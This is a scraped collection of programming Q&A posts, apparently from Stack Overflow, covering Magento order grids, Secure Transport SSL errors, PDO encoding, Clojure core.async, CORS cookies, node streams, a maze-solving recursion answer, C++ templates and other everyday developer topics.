15336748	0	Is there a way to add "Postcode" to Sales_Order_Grid in Magento? <p>I am looking for a way to add Shipping or billing postcode to Sales_Order_Grid in magento 1.7</p> <p>I have tried a few different methods but so far the results have either caused an error or a redirect to the main Dashboard when trying to search the custom column.</p> <p>I've created a module to do this but I get an error when trying to access the page:</p> <p>There has been an error processing your request Exception printing is disabled by default for security reasons.</p> <p>Error log record number: 903668493355</p> <pre><code> a:5:{i:0;s:92:"SQLSTATE[42S22]: Column not found: 1054 Unknown column 'shipping_postcode' in 'where clause'";i:1;s:6422:"#0 /var/www/mysite.com/htdocs/lib/Varien/Db/Statement/Pdo/Mysql.php(110): Zend_Db_Statement_Pdo-&gt;_execute(Array) #1 /var/www/mysite.com/htdocs/lib/Zend/Db/Statement.php(300): Varien_Db_Statement_Pdo_Mysql-&gt;_execute(Array) #2 /var/www/mysite.com/htdocs/lib/Zend/Db/Adapter/Abstract.php(479): Zend_Db_Statement-&gt;execute(Array) #3 /var/www/mysite.com/htdocs/lib/Zend/Db/Adapter/Pdo/Abstract.php(238): Zend_Db_Adapter_Abstract-&gt;query('SELECT COUNT(*)...', Array) #4 /var/www/mysite.com/htdocs/lib/Varien/Db/Adapter/Pdo/Mysql.php(419): Zend_Db_Adapter_Pdo_Abstract-&gt;query('SELECT COUNT(*)...', Array) #5 /var/www/mysite.com/htdocs/lib/Zend/Db/Adapter/Abstract.php(825): Varien_Db_Adapter_Pdo_Mysql-&gt;query(Object(Varien_Db_Select), Array) #6 /var/www/mysite.com/htdocs/lib/Varien/Data/Collection/Db.php(225): Zend_Db_Adapter_Abstract-&gt;fetchOne(Object(Varien_Db_Select), Array) #7 /var/www/mysite.com/htdocs/lib/Varien/Data/Collection.php(225): Varien_Data_Collection_Db-&gt;getSize() #8 /var/www/mysite.com/htdocs/lib/Varien/Data/Collection.php(211): Varien_Data_Collection-&gt;getLastPageNumber() #9 /var/www/mysite.com/htdocs/lib/Varien/Data/Collection/Db.php(516): Varien_Data_Collection-&gt;getCurPage() #10 /var/www/mysite.com/htdocs/lib/Varien/Data/Collection/Db.php(563): Varien_Data_Collection_Db-&gt;_renderLimit() #11 /var/www/mysite.com/htdocs/app/code/core/Mage/Adminhtml/Block/Widget/Grid.php(533): Varien_Data_Collection_Db-&gt;load() #12 /var/www/mysite.com/htdocs/app/code/core/Mage/Adminhtml/Block/Sales/Order/Grid.php(61): Mage_Adminhtml_Block_Widget_Grid-&gt;_prepareCollection() #13 /var/www/mysite.com/htdocs/app/code/local/Thaneuk/CustomGrid/Block/Adminhtml/Sales/Order/Grid.php(25): Mage_Adminhtml_Block_Sales_Order_Grid-&gt;_prepareCollection() #14 /var/www/mysite.com/htdocs/app/code/core/Mage/Adminhtml/Block/Widget/Grid.php(626): Thaneuk_CustomGrid_Block_Adminhtml_Sales_Order_Grid-&gt;_prepareCollection() #15 /var/www/mysite.com/htdocs/app/code/core/Mage/Adminhtml/Block/Widget/Grid.php(632): Mage_Adminhtml_Block_Widget_Grid-&gt;_prepareGrid() #16 /var/www/mysite.com/htdocs/app/code/core/Mage/Core/Block/Abstract.php(862): Mage_Adminhtml_Block_Widget_Grid-&gt;_beforeToHtml() #17 /var/www/mysite.com/htdocs/app/code/core/Mage/Core/Block/Abstract.php(582): Mage_Core_Block_Abstract-&gt;toHtml() #18 /var/www/mysite.com/htdocs/app/code/core/Mage/Core/Block/Abstract.php(526): Mage_Core_Block_Abstract-&gt;_getChildHtml('grid', true) #19 /var/www/mysite.com/htdocs/app/code/core/Mage/Adminhtml/Block/Widget/Grid/Container.php(77): Mage_Core_Block_Abstract-&gt;getChildHtml('grid') #20 /var/www/mysite.com/htdocs/app/design/adminhtml/default/default/template/widget/grid/container.phtml(36): Mage_Adminhtml_Block_Widget_Grid_Container-&gt;getGridHtml() #21 /var/www/mysite.com/htdocs/app/code/core/Mage/Core/Block/Template.php(241): include('/var/www/uk-dev...') #22 /var/www/mysite.com/htdocs/app/code/core/Mage/Core/Block/Template.php(272): Mage_Core_Block_Template-&gt;fetchView('adminhtml/defau...') #23 /var/www/mysite.com/htdocs/app/code/core/Mage/Core/Block/Template.php(286): Mage_Core_Block_Template-&gt;renderView() #24 /var/www/mysite.com/htdocs/app/code/core/Mage/Adminhtml/Block/Template.php(81): Mage_Core_Block_Template-&gt;_toHtml() #25 /var/www/mysite.com/htdocs/app/code/core/Mage/Adminhtml/Block/Widget/Container.php(308): Mage_Adminhtml_Block_Template-&gt;_toHtml() #26 /var/www/mysite.com/htdocs/app/code/core/Mage/Core/Block/Abstract.php(863): Mage_Adminhtml_Block_Widget_Container-&gt;_toHtml() #27 /var/www/mysite.com/htdocs/app/code/core/Mage/Core/Block/Text/List.php(43): Mage_Core_Block_Abstract-&gt;toHtml() #28 /var/www/mysite.com/htdocs/app/code/core/Mage/Core/Block/Abstract.php(863): Mage_Core_Block_Text_List-&gt;_toHtml() #29 /var/www/mysite.com/htdocs/app/code/core/Mage/Core/Block/Abstract.php(582): Mage_Core_Block_Abstract-&gt;toHtml() #30 /var/www/mysite.com/htdocs/app/code/core/Mage/Core/Block/Abstract.php(526): Mage_Core_Block_Abstract-&gt;_getChildHtml('content', true) #31 /var/www/mysite.com/htdocs/app/design/adminhtml/default/default/template/page.phtml(74): Mage_Core_Block_Abstract-&gt;getChildHtml('content') #32 /var/www/mysite.com/htdocs/app/code/core/Mage/Core/Block/Template.php(241): include('/var/www/uk-dev...') #33 /var/www/mysite.com/htdocs/app/code/core/Mage/Core/Block/Template.php(272): Mage_Core_Block_Template-&gt;fetchView('adminhtml/defau...') #34 /var/www/mysite.com/htdocs/app/code/core/Mage/Core/Block/Template.php(286): Mage_Core_Block_Template-&gt;renderView() #35 /var/www/mysite.com/htdocs/app/code/core/Mage/Adminhtml/Block/Template.php(81): Mage_Core_Block_Template-&gt;_toHtml() #36 /var/www/mysite.com/htdocs/app/code/core/Mage/Core/Block/Abstract.php(863): Mage_Adminhtml_Block_Template-&gt;_toHtml() #37 /var/www/mysite.com/htdocs/app/code/core/Mage/Core/Model/Layout.php(555): Mage_Core_Block_Abstract-&gt;toHtml() #38 /var/www/mysite.com/htdocs/app/code/core/Mage/Core/Controller/Varien/Action.php(390): Mage_Core_Model_Layout-&gt;getOutput() #39 /var/www/mysite.com/htdocs/app/code/core/Mage/Adminhtml/controllers/Sales/OrderController.php(95): Mage_Core_Controller_Varien_Action-&gt;renderLayout() #40 /var/www/mysite.com/htdocs/app/code/core/Mage/Core/Controller/Varien/Action.php(419): Mage_Adminhtml_Sales_OrderController-&gt;indexAction() #41 /var/www/mysite.com/htdocs/app/code/core/Mage/Core/Controller/Varien/Router/Standard.php(250): Mage_Core_Controller_Varien_Action-&gt;dispatch('index') #42 /var/www/mysite.com/htdocs/app/code/core/Mage/Core/Controller/Varien/Front.php(176): Mage_Core_Controller_Varien_Router_Standard-&gt;match(Object(Mage_Core_Controller_Request_Http)) #43 /var/www/mysite.com/htdocs/app/code/core/Mage/Core/Model/App.php(354): Mage_Core_Controller_Varien_Front-&gt;dispatch() #44 /var/www/mysite.com/htdocs/app/Mage.php(683): Mage_Core_Model_App-&gt;run(Array) #45 /var/www/mysite.com/htdocs/index.php(87): Mage::run('', 'store') #46 {main}";s:3:"url";s:29:"/index.php/admin/sales_order/";s:11:"script_name";s:10:"/index.php";s:4:"skin";s:5:"admin";} </code></pre> <p>I anyone able to assist me please as I also need to be able to search the postcode columns to retrieve the correct order data?!?</p> <pre><code> &lt;?php class Thaneuk_CustomGrid_Block_Adminhtml_Sales_Order_Grid extends Mage_Adminhtml_Block_Sales_Order_Grid { public function __construct() { parent::__construct(); $this-&gt;setId('sales_order_grid'); $this-&gt;setUseAjax(true); $this-&gt;setDefaultSort('created_at'); $this-&gt;setDefaultDir('DESC'); $this-&gt;setSaveParametersInSession(true); } protected function _getCollectionClass() { return 'sales/order_grid_collection'; } protected function _prepareCollection() { $collection = Mage::getResourceModel($this-&gt;_getCollectionClass()); $collection-&gt;getSelect()-&gt;join('sales_flat_order_address', 'main_table.entity_id = sales_flat_order_address.parent_id AND sales_flat_order_address.address_type = shipping',array('postcode')); $this-&gt;setCollection($collection); return parent::_prepareCollection(); } protected function _prepareColumns() { $this-&gt;addColumn('real_order_id', array( 'header'=&gt; Mage::helper('sales')-&gt;__('Order #'), 'width' =&gt; '80px', 'type' =&gt; 'text', 'index' =&gt; 'increment_id', )); if (!Mage::app()-&gt;isSingleStoreMode()) { $this-&gt;addColumn('store_id', array( 'header' =&gt; Mage::helper('sales')-&gt;__('Purchased From (Store)'), 'index' =&gt; 'store_id', 'type' =&gt; 'store', 'store_view'=&gt; true, 'display_deleted' =&gt; true, )); } $this-&gt;addColumn('created_at', array( 'header' =&gt; Mage::helper('sales')-&gt;__('Purchased On'), 'index' =&gt; 'created_at', 'type' =&gt; 'datetime', 'width' =&gt; '100px', )); $this-&gt;addColumn('billing_name', array( 'header' =&gt; Mage::helper('sales')-&gt;__('Bill to Name'), 'index' =&gt; 'billing_name', )); $this-&gt;addColumn('shipping_name', array( 'header' =&gt; Mage::helper('sales')-&gt;__('Ship to Name'), 'index' =&gt; 'shipping_name', )); $this-&gt;addColumnAfter('shipping_postcode', array( 'header' =&gt; Mage::helper('sales')-&gt;__('Shipping Postcode'), 'filter_index'=&gt;'main_table.postcode', 'index' =&gt; 'shipping_postcode', ),'method'); $this-&gt;addColumn('base_grand_total', array( 'header' =&gt; Mage::helper('sales')-&gt;__('G.T. (Base)'), 'index' =&gt; 'base_grand_total', 'type' =&gt; 'currency', 'currency' =&gt; 'base_currency_code', )); $this-&gt;addColumn('grand_total', array( 'header' =&gt; Mage::helper('sales')-&gt;__('G.T. (Purchased)'), 'index' =&gt; 'grand_total', 'type' =&gt; 'currency', 'currency' =&gt; 'order_currency_code', )); $this-&gt;addColumn('status', array( 'header' =&gt; Mage::helper('sales')-&gt;__('Status'), 'index' =&gt; 'status', 'type' =&gt; 'options', 'width' =&gt; '70px', 'options' =&gt; Mage::getSingleton('sales/order_config')-&gt;getStatuses(), )); if (Mage::getSingleton('admin/session')-&gt;isAllowed('sales/order/actions/view')) { $this-&gt;addColumn('action', array( 'header' =&gt; Mage::helper('sales')-&gt;__('Action'), 'width' =&gt; '50px', 'type' =&gt; 'action', 'getter' =&gt; 'getId', 'actions' =&gt; array( array( 'caption' =&gt; Mage::helper('sales')-&gt;__('View'), 'url' =&gt; array('base'=&gt;'*/sales_order/view'), 'field' =&gt; 'order_id' ) ), 'filter' =&gt; false, 'sortable' =&gt; false, 'index' =&gt; 'stores', 'is_system' =&gt; true, )); } $this-&gt;addExportType('*/*/exportCsv', Mage::helper('sales')-&gt;__('CSV')); $this-&gt;addExportType('*/*/exportExcel', Mage::helper('sales')-&gt;__('Excel XML')); return parent::_prepareColumns(); } protected function _prepareMassaction() { $this-&gt;setMassactionIdField('entity_id'); $this-&gt;getMassactionBlock()-&gt;setFormFieldName('order_ids'); $this-&gt;getMassactionBlock()-&gt;setUseSelectAll(false); if (Mage::getSingleton('admin/session')-&gt;isAllowed('sales/order/actions/cancel')) { $this-&gt;getMassactionBlock()-&gt;addItem('cancel_order', array( 'label'=&gt; Mage::helper('sales')-&gt;__('Cancel'), 'url' =&gt; $this-&gt;getUrl('*/sales_order/massCancel'), )); } if (Mage::getSingleton('admin/session')-&gt;isAllowed('sales/order/actions/hold')) { $this-&gt;getMassactionBlock()-&gt;addItem('hold_order', array( 'label'=&gt; Mage::helper('sales')-&gt;__('Hold'), 'url' =&gt; $this-&gt;getUrl('*/sales_order/massHold'), )); } if (Mage::getSingleton('admin/session')-&gt;isAllowed('sales/order/actions/unhold')) { $this-&gt;getMassactionBlock()-&gt;addItem('unhold_order', array( 'label'=&gt; Mage::helper('sales')-&gt;__('Unhold'), 'url' =&gt; $this-&gt;getUrl('*/sales_order/massUnhold'), )); } $this-&gt;getMassactionBlock()-&gt;addItem('pdfinvoices_order', array( 'label'=&gt; Mage::helper('sales')-&gt;__('Print Invoices'), 'url' =&gt; $this-&gt;getUrl('*/sales_order/pdfinvoices'), )); $this-&gt;getMassactionBlock()-&gt;addItem('pdfshipments_order', array( 'label'=&gt; Mage::helper('sales')-&gt;__('Print Packingslips'), 'url' =&gt; $this-&gt;getUrl('*/sales_order/pdfshipments'), )); $this-&gt;getMassactionBlock()-&gt;addItem('pdfcreditmemos_order', array( 'label'=&gt; Mage::helper('sales')-&gt;__('Print Credit Memos'), 'url' =&gt; $this-&gt;getUrl('*/sales_order/pdfcreditmemos'), )); $this-&gt;getMassactionBlock()-&gt;addItem('pdfdocs_order', array( 'label'=&gt; Mage::helper('sales')-&gt;__('Print All'), 'url' =&gt; $this-&gt;getUrl('*/sales_order/pdfdocs'), )); $this-&gt;getMassactionBlock()-&gt;addItem('print_shipping_label', array( 'label'=&gt; Mage::helper('sales')-&gt;__('Print Shipping Labels'), 'url' =&gt; $this-&gt;getUrl('*/sales_order_shipment/massPrintShippingLabel'), )); return $this; } public function getRowUrl($row) { if (Mage::getSingleton('admin/session')-&gt;isAllowed('sales/order/actions/view')) { return $this-&gt;getUrl('*/sales_order/view', array('order_id' =&gt; $row-&gt;getId())); } return false; } public function getGridUrl() { return $this-&gt;getUrl('*/*/grid', array('_current'=&gt;true)); } } </code></pre> <p>Help is always appreciated. </p>
14860081	0	 <p>Use integers and divide down:</p> <pre><code>for(int value = -20; value &lt;= 20; value += 2) std::cout &lt;&lt; (value/10.0) &lt;&lt; std::endl; </code></pre>
17679290	0	Mountain Lion Secure Transport SSLHandshake returns errDecryptionFail after Change Cipher Spec <p>On Mountain Lion, running some SSL code that works on Leopard - using the native Secure Transport Framework - the server-side SSLHandshake call fails with errDecryptionFail.</p> <p>Looking at a wireshark trace, the handshake proceeds normally until the client sents a Change Cipher Spec and Encrypted Handshake Message. In response the server closes the connection and returns errDecryptionFail.</p> <p>The apple documentation states:</p> <p>"errSSLDecryptionFail –9845<br> Decryption failed. Among other causes, this may be caused by invalid data coming from the remote host, a damaged crypto key, or insufficient permission to use a key that is stored in the keychain."</p> <p>Has anyone seen similar behaviour or could shed some light on what the "other causes" might be?</p> <p>Thanks,</p> <p>Richard.</p>
3153279	0	 <p>Are you trying to pass args on the command line?</p> <p>If so, $0 will contain the script name, and $1..n will contain command line args.</p> <p>$@ will contain all command line args, space-separated.</p>
9424084	0	 <p>Change your code to:</p> <pre><code>for (NSDictionary *file in files) { NSString *userNumber = [file objectForKey:@"UserNumber"]; NSLog(@"output: %@", userNumber); } </code></pre> <p>i.e. <code>file objectForKey...</code>, not <code>result objectForKey...</code>. You're iterating through the <code>files</code> array with each entry in it being identified as <code>file</code> for the purposes of the code within the for loop.</p>
22662835	0	 <p>If using FieldSetText, you have to be careful to format the value in a way that's consistent with the user's preferences and/or the settings of the field (e.g. whether the decimal separator is "," or "."). To avoid this source of error, it's better to use the NotesDocument object for this sort of thing. You need a better reason than "I don't want to," to not do this.</p> <p>You could use the NotesDocument for this one operation and the NotesUIDocument for everything else, e.g. write:</p> <p>uidoc.Document.ReplaceItemValue "fieldname", numbervalue</p> <p>Unless you've deliberately set the option to not reload the UI automatically, this will do what you want. If you have set that option you'll need a second call to do that update.</p>
31566473	0	adding hebrew value to sql using PDO <p>I am trying to add a Hebrew value to a database using php's PDO class.</p> <p>After finally succeeding doing that (by using: <code>array(PDO::MYSQL_ATTR_INIT_COMMAND =&gt; "SET NAMES utf8"</code>), I found out that <code>COLLATE HEBREW_CI_AS</code> is added to my value.</p> <p>Is there any way to prevent this addition?</p> <p>thank you, and sorry for my bad English.</p>
16904300	0	Disable CSS link for 1 second after it has been clicked <p>I'm trying to have a CSS link disabled for 1 second after it has been clicked. </p> <p>I have tried this without success; </p> <p>In the header:</p> <pre><code>&lt;script type="text/javascript"&gt; $(function() { $("#link").click(function() { $("#link").attr("disabled", "disabled"); setTimeout(function() { $("#link").removeAttr("disabled"); }, 2000); }); }); &lt;/script&gt; </code></pre> <p>Html:</p> <pre><code>&lt;a href="#" class="link"&gt;the link text&lt;/a&gt; </code></pre> <p>CSS:</p> <pre><code>.link:diabled { some values here.. } </code></pre>
21394335	0	Does Clojure's core.async work with RoboVM? <p>I've used <a href="https://github.com/oakes/lein-fruit" rel="nofollow">lein-fruit</a> to generate a basic Clojure project that targets iOS through <a href="http://www.robovm.org/" rel="nofollow">RoboVM</a>. I've introduced core.async to pass button taps along a channel, but mutating the button in the <code>go</code> block doesn't seem to have an effect.</p> <p>Is there reason to believe the Java implementation of core.async doesn't work under RoboVM? </p> <p>Here's my code, slightly modified from the basic lein-fruit template.</p> <pre class="lang-lisp prettyprint-override"><code>(ns core-async-demo.core (:require [core-async-demo.core-utils :as u] [clojure.core.async :refer [go chan put! &lt;!]])) (def window (atom nil)) (def taps (chan)) (defn init [] (let [main-screen (u/static-method :uikit.UIScreen :getMainScreen) button-type (u/static-field :uikit.UIButtonType :RoundedRect) button (u/static-method :uikit.UIButton :fromType button-type) normal-state (u/static-field :uikit.UIControlState :Normal) click-count (atom 0)] (doto button (.setFrame (u/init-class :coregraphics.CGRect 115 121 91 37)) (.setTitle "Click me!" normal-state) (.addOnTouchUpInsideListener (proxy [org.robovm.cocoatouch.uikit.UIControl$OnTouchUpInsideListener] [] (onTouchUpInside [control event] (put! taps true))))) (reset! window (u/init-class :uikit.UIWindow (.getBounds main-screen))) (go (loop [_ (&lt;! taps)] (.setTitle button (str "Click #" (swap! click-count inc)) normal-state) (recur (&lt;! taps)))) (doto @window (.setBackgroundColor (u/static-method :uikit.UIColor :lightGrayColor)) (.addSubview button) .makeKeyAndVisible))) </code></pre>
17236454	0	 <p>This function takes a string argument as input</p> <p>The first thing it does is checks the recursive base case. We'll get back to that</p> <p>If the base case is not satisfied, it then checks to see if the first character matches the last character using this code:</p> <pre><code>if (substr($string,0,1) == substr($string,(strlen($string) - 1),1)) </code></pre> <p>If that does match, then the function recursively calls itself again but this time with the first and last character removed, this is done with this line</p> <pre><code>return Palindrome(substr($string,1,strlen($string) -2)); </code></pre> <p>If ever the first character does not match the last character, the function automatically outputs to html "STRING IS NOT A PALINDROME via <code>echo</code></p> <p>Now back to the base case I mentioned before, if the function successfully matches and removes the first and last character until there are one or no characters left, then the string has been confirmed to be a palindrome and it echos that string.</p> <p>If you need help with recursion let me know, I'll post a tutorial link</p>
23070095	0	Better understanding Ajax CORS <p>I have 3 domains that need to work along...<br> My flow basically works like this:</p> <ol> <li>The user goes to A.com</li> <li>A.com sets a cookie and redirect to B.com</li> <li>B.com ajaxs calls need to send the cookie on requests to C.com</li> </ol> <p>How "can I"/"should I" implement this behavior?</p> <p>I set the xhrFields "withCredentials: true" in B.com ajax, but inspecting the request using fiddler, no cookies are sent...</p> <p>Ps: im kinda lost... if extra info needed pls ask!</p>
37699304	0	Ionic - Remove Disable spinner on splash screen <p>I'm trying to disable spinner on startup splash screen. I can't find where are the settings for this feature. Which folder/file?</p>
34463147	0	 <p>You can use OnTap event. It is not a perfect solution because this event don't work on Windows (so you have to use conditional defines to debug on Windows), but on at least on Android OnTap isn't raised when you scroll a box (tested on Seattle).</p>
39927552	0	Determining if a node stream is in objectMode <p>Given a node js stream object how do I determine if it is an object stream in objectMode? </p> <p>Say I have a readable stream instance</p> <pre><code> const myReadableStream = new ReadableStreamImplementation({ options: { objectMode : true } }); </code></pre> <p>How can I determine that the myReadableStream is in objectMode. Is there a method or property that can be read? Could not find the answer from skimming through node streams documentation.</p> <p><strong>EDIT</strong> Is there a way to tell without tapping into the stream and given only the stream object itself?</p>
39622214	0	Disable certain Android Studio compilation errors <p>I'm extending a hidden java class so I run into the error</p> <pre><code>Error:Execution failed for task ':app:transformClassesWithInstantRunForDebug'. &gt; class com.company.class.CustomVersion cannot access its superclass java.class.JavaVersion </code></pre> <p>However, if I don't rely on Android Studio, output a jar, and then add the jar as a dependency to the same project I don't get the above compilation error and the app can launch. Since I'm writing my own library, I'd prefer not to have to create and export a jar every time I want to test some code change. Is there a way of disabling compilations errors like the above for a class?</p> <p>EDIT:</p> <p>For more information I was trying to extend a hidden Android class in the java.net package.</p>
22787068	0	javascript: add html to end of <span> (noob) <p>I am sure there must be an easier way that doing this:</p> <pre><code>foo.innerHTML +="&lt;br&gt;"; </code></pre> <p>The above is producing dirty results as there is a textbox in the SPAN and the data from that textbox gets wiped away when using innerHTML.</p> <p>I am trying to "re-learn" JS so forgive me if the question is too noobish.</p>
40932309	0	 <p>Just add <code>runat="server"</code> in your html code like this:</p> <pre><code>&lt;a id="topicLink" runat="server" href="default.aspx"&gt; New Topic &lt;/a&gt; </code></pre> <p>Then you can use <code>topicLink</code> to change the href value just as you did. :)</p>
26104618	0	 <p>The li elements are hard coded into your list. To put them into a div you can either hard code them into the preferred div or use javascript to dynamically change the html code. It would probably be easier to just code a short list into the adjacent div, but if this is a list that gets generated in some way, css can change how things are displayed, but the location of you li items are still part of the parent div. Css is for styling and placing on the screen not for changing parent elements.</p>
20251155	0	 <p>Without a stacktrace it can be hard to tell. From what I can see you have two possible culprites.</p> <p><strong>First</strong></p> <pre><code>Bundle extras = getIntent().getExtras(); public final String ID_CITY = extras.getString("CITY_TH"); </code></pre> <p>In your Search class you are trying to get data from bundle. But in your MainActivity.goMenu() you are not passing in a bundle. This can cause a <code>NULLPOINTEREXCEPTION</code></p> <p><strong>Second</strong></p> <pre><code>setupActionBar(); </code></pre> <p>Please try commenting that out in your Search.class and see what the results are. I can't see what your theme is from the manifest. So you may not even have an Action bar which can cause a crash. So if commenting out the line above works, add the following to your manifest: </p> <p>Change:</p> <pre><code>android:theme="@style/AppTheme" </code></pre> <p>To:</p> <pre><code>android:theme="@android:style/Theme.Holo" </code></pre> <p>and see if that works.</p>
2757476	0	Android Cursor size <p>Anyone knows how to change cursor size in Edittext in Android???</p> <p>I'm trying to implement SMS function. I used EditText and tried to put background image. The background image has lines so I need to put extra space between lines so that the background image and the lines fit nicely. But... if I use linespacingextra, it increase cursor as well. That means the fontsize will be smaller than the cursor size.</p> <p>Any idea??</p>
7691666	0	 <p>You should go with the second approach.</p> <p>One possible solution is a greedy algorithm. Define your set of transformations as a regular expression (used to test the pattern) and a function which is given the regexp match object and returns the transformed string.</p> <p>Regular expressions aren't quite powerful enough to handle what you want directly. Instead you'll have to do something like:</p> <pre><code>m = re.match(r"C\[(\d+)\]H\[(\d+)]\]", formula) if m: C_count, H_count = int(m.group(1)), int(m.group(2)) match_size = len(m.group(0)) if C_count*2+2 == H_count: replacement = alkane_lookup[C_count] elif C_count*2 == H_count: replacement = alkene_lookup[C_count] ... else: replacement = m.group(0) # no replacement available </code></pre> <p>(plus a lot more for the other possibilities)</p> <p>then embed that in a loop which looks like:</p> <pre><code>formula = "...." new_formula = "" while formula: match_size, replacement = find_replacement(formula) new_formula += replacement formula = formula[match_size:] </code></pre> <p>(You'll need to handle the case where nothing matches. One possible way is to include a list of all possible elements at the end of find_replacement(), which only returns the next element and counts.)</p> <p>This is a greedy algorithm, which doesn't guarantee the smallest solution. That's more complicated, but since chemists themselves have different ideas of the right form, I wouldn't worry so much about it.</p>
18930069	0	 <p>Use The <code>NonActionAttribute</code>. It allows you to mark public methods in a controller as not being available for external requests.</p> <p><a href="http://weblogs.asp.net/gunnarpeipman/archive/2011/04/09/asp-net-mvc-using-nonactionattribute-to-restrict-access-to-public-methods-of-controller.aspx" rel="nofollow">Here's more information.</a></p>
39698624	0	 <p>I think you need to rethink your design!</p> <p>"Undo" implies that a transaction is open and that specific transaction is rolled back. You can do this for instance by encapsulating your entire GUI in a transaction but that is bad practice. It will give long transactions, locking issues, bi-file growth and potential crashes if somebody leaves their session open. Not a good idea - you want to make your transactions small!</p> <p>You need to look into a more service based approach. For instance:</p> <ul> <li><p>When the interface loads you load the records your interested into a temp-table.</p></li> <li><p>When you click "add," "update", "delete" etc you make changes to these records. "Add" creates a new record in the temp-table, "update" makes changes to a record and delete deletes (or marks for delete) records in the temp-table.</p></li> <li><p>When clicking "save" you first check that no records are changed in the database, if not you save the changes from the temp-tables into the database. If they are changed you might want to alert the user. </p></li> <li><p>When clicking "cancel" you just exit and disregard the changes.</p></li> </ul> <p>You can get support for parts of this way of by working utilizing datasets. Read up on those! </p> <p><a href="https://documentation.progress.com/output/ua/OpenEdge_latest/index.html#page/dvpds/preface.html#" rel="nofollow">https://documentation.progress.com/output/ua/OpenEdge_latest/index.html#page/dvpds/preface.html#</a></p>
27157347	0	 <p>The answer is highly situational. In general, you want to handle exceptions elegantly whenever possible. That is, try to resolve / ignore them where you can. An IndexOutOfBoundsException is very often an example of where this is not possible.</p> <p>Hard breaks because of exceptions is a last-resort. Do this only when your program <strong><em>cannot</em></strong> continue.</p> <p>This question's answer has a good post on it. <a href="http://stackoverflow.com/questions/77127/when-to-throw-an-exception">When to throw an exception?</a></p>
31633257	0	 <p>I think you forget array like this:</p> <pre><code>1 0 0 9 1 1 0 1 0 1 1 1 0 0 0 1 </code></pre> <p>your recursive function will not be finished in the previous example, please check the size of array to finish recursion.</p> <p>Also your algorithm does not use up and right to find cheese</p> <p>EDIT</p> <p>you should handle the 4 directions, and don't repeat the square you visit before, I will add pseudo code here to explain the main idea of solution:</p> <pre><code>public class MAZE { static int x, y; static boolean result = false; public static void main(String[] args) { int [][] matrix =new int[5][];// fill your array // fill x and y // x= cheese x value // y = cheese y value isPath(matrix, x, x); // print result } static void isPath(int[][] matrix, int i, int j) { if (i - 1 &gt; -1 &amp;&amp; matrix[i - 1][j] == 1) { // subarray1 = copy starting from [0][0] to matrix[i-1][j] // checkSPath(subarray1,i-1,j); } if (j - 1 &gt; -1 &amp;&amp; matrix[i][j - 1] == 1) { // subarray1 = copy starting from [0][0] to matrix[i][j-1] // checkLPath(subarray1,i,j-1); } if (i + 1 &lt; x &amp;&amp; matrix[i + 1][j] == 1) { // subarray1 = copy starting from [0][0] to matrix[i+1][j] // checkNPath(subarray1,i+1,j); } if (j + 1 &lt; y &amp;&amp; matrix[i][j + 1] == 1) { // subarray1 = copy starting from [0][0] to matrix[i][j+1] // checkRPath(subarray1,i,j+1); } } static void checkRPath(int[][] matrix, int i, int j) { if (i == 0 &amp;&amp; j == 0) { result = true; } else { if (i - 1 &gt; -1 &amp;&amp; matrix[i - 1][j] == 1) { // subarray1 = copy starting from [0][0] to matrix[i-1][j] // checkSPath(subarray1,i-1,j); } if (i + 1 &lt; x &amp;&amp; matrix[i + 1][j] == 1) { // subarray1 = copy starting from [0][0] to matrix[i+1][j] // checkNPath(subarray1,i+1,j); } if (j + 1 &lt; y &amp;&amp; matrix[i][j + 1] == 1) { // subarray1 = copy starting from [0][0] to matrix[i][j+1] // checkRPath(subarray1,i,j+1); } } } static void checkLPath(int[][] matrix, int i, int j) { if (i == 0 &amp;&amp; j == 0) { result = true; } else { if (i - 1 &gt; -1 &amp;&amp; matrix[i - 1][j] == 1) { // subarray1 = copy starting from [0][0] to matrix[i-1][j] // checkSPath(subarray1,i-1,j); } if (j - 1 &gt; -1 &amp;&amp; matrix[i][j - 1] == 1) { // subarray1 = copy starting from [0][0] to matrix[i][j-1] // checkLPath(subarray1,i,j-1); } if (i + 1 &lt; x &amp;&amp; matrix[i + 1][j] == 1) { // subarray1 = copy starting from [0][0] to matrix[i+1][j] // checkNPath(subarray1,i+1,j); } } } static void checkNPath(int[][] matrix, int i, int j) { if (i == 0 &amp;&amp; j == 0) { result = true; } else { if (j - 1 &gt; -1 &amp;&amp; matrix[i][j - 1] == 1) { // subarray1 = copy starting from [0][0] to matrix[i][j-1] // checkLPath(subarray1,i,j-1); } if (i + 1 &lt; x &amp;&amp; matrix[i + 1][j] == 1) { // subarray1 = copy starting from [0][0] to matrix[i+1][j] // checkNPath(subarray1,i+1,j); } if (j + 1 &lt; y &amp;&amp; matrix[i][j + 1] == 1) { // subarray1 = copy starting from [0][0] to matrix[i][j+1] // checkRPath(subarray1,i,j+1); } } } static void checkSPath(int[][] matrix, int i, int j) { if (i == 0 &amp;&amp; j == 0) { result = true; } else { if (i - 1 &gt; -1 &amp;&amp; matrix[i - 1][j] == 1) { // subarray1 = copy starting from [0][0] to matrix[i-1][j] // checkSPath(subarray1,i-1,j); } if (j - 1 &gt; -1 &amp;&amp; matrix[i][j - 1] == 1) { // subarray1 = copy starting from [0][0] to matrix[i][j-1] // checkLPath(subarray1); } if (j + 1 &lt; y &amp;&amp; matrix[i][j + 1] == 1) { // subarray1 = copy starting from [0][0] to matrix[i][j+1] // checkRPath(subarray1); } } } } </code></pre> <p>You can merge these 5 methods in one. here I am trying to explain the solution not writing optimized code.</p>
34294372	0	What are the cases in general which require template argument to be complete? <p>Consider simple code :</p> <pre><code>struct x; template&lt;typename&gt; void func(){} int main() { func&lt;x&gt;(); return 0; } </code></pre> <p>This above code doesn't requires class <code>x</code> to be complete, are there any other cases which don't require <code>x</code> to be complete? . Also in general what are the cases which require template argument to be complete?</p>
